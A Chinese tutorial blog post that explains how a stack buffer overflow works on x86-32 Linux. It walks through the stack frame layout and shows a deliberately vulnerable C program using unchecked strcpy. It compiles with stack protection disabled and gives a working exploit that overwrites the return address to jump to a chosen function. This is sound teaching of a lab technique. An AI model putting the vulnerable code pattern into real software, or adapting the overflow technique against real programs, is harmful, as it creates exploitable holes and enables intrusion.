x86-32-Linux下栈溢出攻击原理

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

c 复制代码
void func(int a,int b,int c) {
	int tmp = 0x99;
	return ;
}
void main() {
	func(1,2,3);
}
0x0 参数C
0x4 参数B
0x8 参数A
0xC RA地址
0x10 旧%ebp
0x14 tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

c 复制代码
// a.c
#include <stdio.h>
#include <string.h>

void test(char *str) {
        char buffer[16]; // 待攻击处
        strcpy(buffer, str);
        printf("%s\n", buffer);
}

void hacker(void) {
        printf("being hacked\n");
}

int main(int argc,char *argv[]) {
        test(argv[1]);
        return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。

sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

%ebp+0x8 参数 char *str
%ebp+0x4 RA返回地址
%ebp当前的值,也就是test的栈底,0 main的%ebp
%ebp-0x4
ebp-0x8
-0xC buf 12~15
-0x10 buf 8~11
-0x14 buf 4~7
-0x18 buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4 strcpy的参数:char *str
%ebp-0x28 = %esp strcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

c 复制代码
// test.c
#include <unistd.h>
#include <stdio.h>

char tmp[33];

int main() {
        for (int i=0; i<28; i++)
                tmp[i] = 'F';
        // 对应hacker()地址 0x08048439
        tmp[28] = '\x39';
        tmp[29] = '\x84';
        tmp[30] = '\x04';
        tmp[31] = '\x08';
        tmp[32] = '\0';
        char *argv[3] = { "./a.out", tmp, NULL};

        execve(argv[0], argv, NULL);
        return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

相关推荐
Ronin30512 分钟前
【Linux网络】Socket编程:UDP网络编程实现Echo Server
linux·网络·udp·网络通信·socket编程
霖.2420 分钟前
service的两种代理实现
linux·服务器·容器·kubernetes
Lin_Aries_042130 分钟前
基于 GitLab 的自动化镜像构建
linux·运维·docker·容器·自动化·gitlab
hkhkhkhkh12339 分钟前
Git push 失败(remote unpack failed: Missing tree)解决方案
linux·git
Eloudy40 分钟前
制作 Bash Shell 方式的软件发布安装包的原理和方法
linux·bash
霖.241 小时前
K8s实践中的重点知识
linux·云原生·kubernetes
truesnow1 小时前
速通 awk:一篇文章带你理解 awk 原理,大量实战案例让你马上成为 awk 专家
linux
Lyre丶1 小时前
Ubuntu 24.04 LTS 安装GAMIT
linux·经验分享·学习·ubuntu·gamit
namekong81 小时前
ubuntu 通过下面几种方式查看系统 重启时间/开机时间:
linux·运维·ubuntu
爱奥尼欧2 小时前
【Linux】网络部分——网络基础(协议与网络传输)
linux·网络·arm开发